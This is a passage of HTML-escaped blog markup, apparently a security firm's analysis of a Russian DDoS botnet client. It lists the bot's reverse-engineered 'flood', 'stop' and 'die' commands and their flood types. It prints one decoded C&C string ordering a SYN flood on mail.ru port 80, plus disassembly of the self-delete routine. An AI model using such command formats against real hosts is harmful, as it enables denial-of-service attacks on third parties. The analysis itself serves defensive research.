&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 13.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 17px; letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;b&gt;Botnet Commands&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;We have reverse engineered C&amp;amp;C code on the bot client and have identified that it comes with 3 major type of commands. Arguments to these commands are also documented in the Readme.txt and cmdhelp.html files &amp;nbsp;accompanying this package in the Russian language . During our analysis of the bot client binary , we’ve also found the 4th command which is not documented in the help files. Let ‘s understand each of the command and its binary code&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit; letter-spacing: 1pt;&quot;&gt;A )&amp;nbsp;
&lt;/span&gt;&lt;b style=&quot;font-family: inherit; letter-spacing: 1pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: #1f497d; mso-themecolor: text2;&quot;&gt;flood&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: inherit; letter-spacing: 1pt;&quot;&gt;
:-&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;“Flood” command instructs the bot
client to initiate several different types of flooding attacks Arguments to
this command instructs the bot about the type of flood attack to generate along
with the other parameters as shown earlier &lt;b&gt;&lt;span style=&quot;color: #632423; mso-themecolor: accent2; mso-themeshade: 128;&quot;&gt;Figure 1&lt;/span&gt;&lt;/b&gt;
. Arguments to the type of flooding attacks can be following:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt; mso-ascii-font-family: Calibri; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri; mso-hansi-font-family: Calibri;&quot;&gt;-&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;ICMP&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt; mso-ascii-font-family: Calibri; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri; mso-hansi-font-family: Calibri;&quot;&gt;-&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;UDP&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt; mso-ascii-font-family: Calibri; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri; mso-hansi-font-family: Calibri;&quot;&gt;-&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;SYN&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt; mso-ascii-font-family: Calibri; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri; mso-hansi-font-family: Calibri;&quot;&gt;-&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;HTTP&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -18.0pt;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt; mso-ascii-font-family: Calibri; mso-bidi-font-family: Calibri; mso-fareast-font-family: Calibri; mso-hansi-font-family: Calibri;&quot;&gt;-&lt;span style=&quot;font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Data&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Flood command along with the arguments
and other parameters are sent by the server to the bot client in Base-64
encoded format . Below is an example of the decoded command indicating &amp;nbsp;how the bot client is instructed to carry out
a TCP SYN flood on port 80: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;4500;2000;100;1;0;30;500;500;200;1000;2000#flood
syn mail.ru 80 #10#xEN-XPSP1_80D1F15C&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;B
)&amp;nbsp; &lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: #1f497d; mso-themecolor: text2;&quot;&gt;stop &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;i&gt;:-&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Stop
command instructs the bot client to temporarily stop DDoS floods for the specified
number of seconds&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm; mso-layout-grid-align: none; text-autospace: none;&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;C
)&amp;nbsp; &lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: #1f497d; mso-themecolor: text2;&quot;&gt;die&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;i&gt; :-&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Die command instructs the bot client to
delete itself from the infected system. It calls the ExitProcess API to
terminate the process and stop all DDoS activities. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;PUSH 3&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;PUSH
_bot.15111484&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp; ASCII &quot;die&quot;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;MOV EAX, [ARG.1] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ;&amp;nbsp; _bot.&lt;moduleentrypoint&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/moduleentrypoint&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;PUSH EAX&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;CALL _bot.151154C0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;ADD ESP, 0C&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;TEST EAX, EAX&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;JNZ SHORT
_bot.15112C2A&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;CALL _bot.151127B0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;PUSH
_bot.15116900 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;; /FileName = &quot;&quot; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;CALL DWORD PTR
DS:[&amp;lt;&amp;amp;KERNEL32.DeleteFileA&amp;gt;]&amp;nbsp;&amp;nbsp;
; \DeleteFileA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
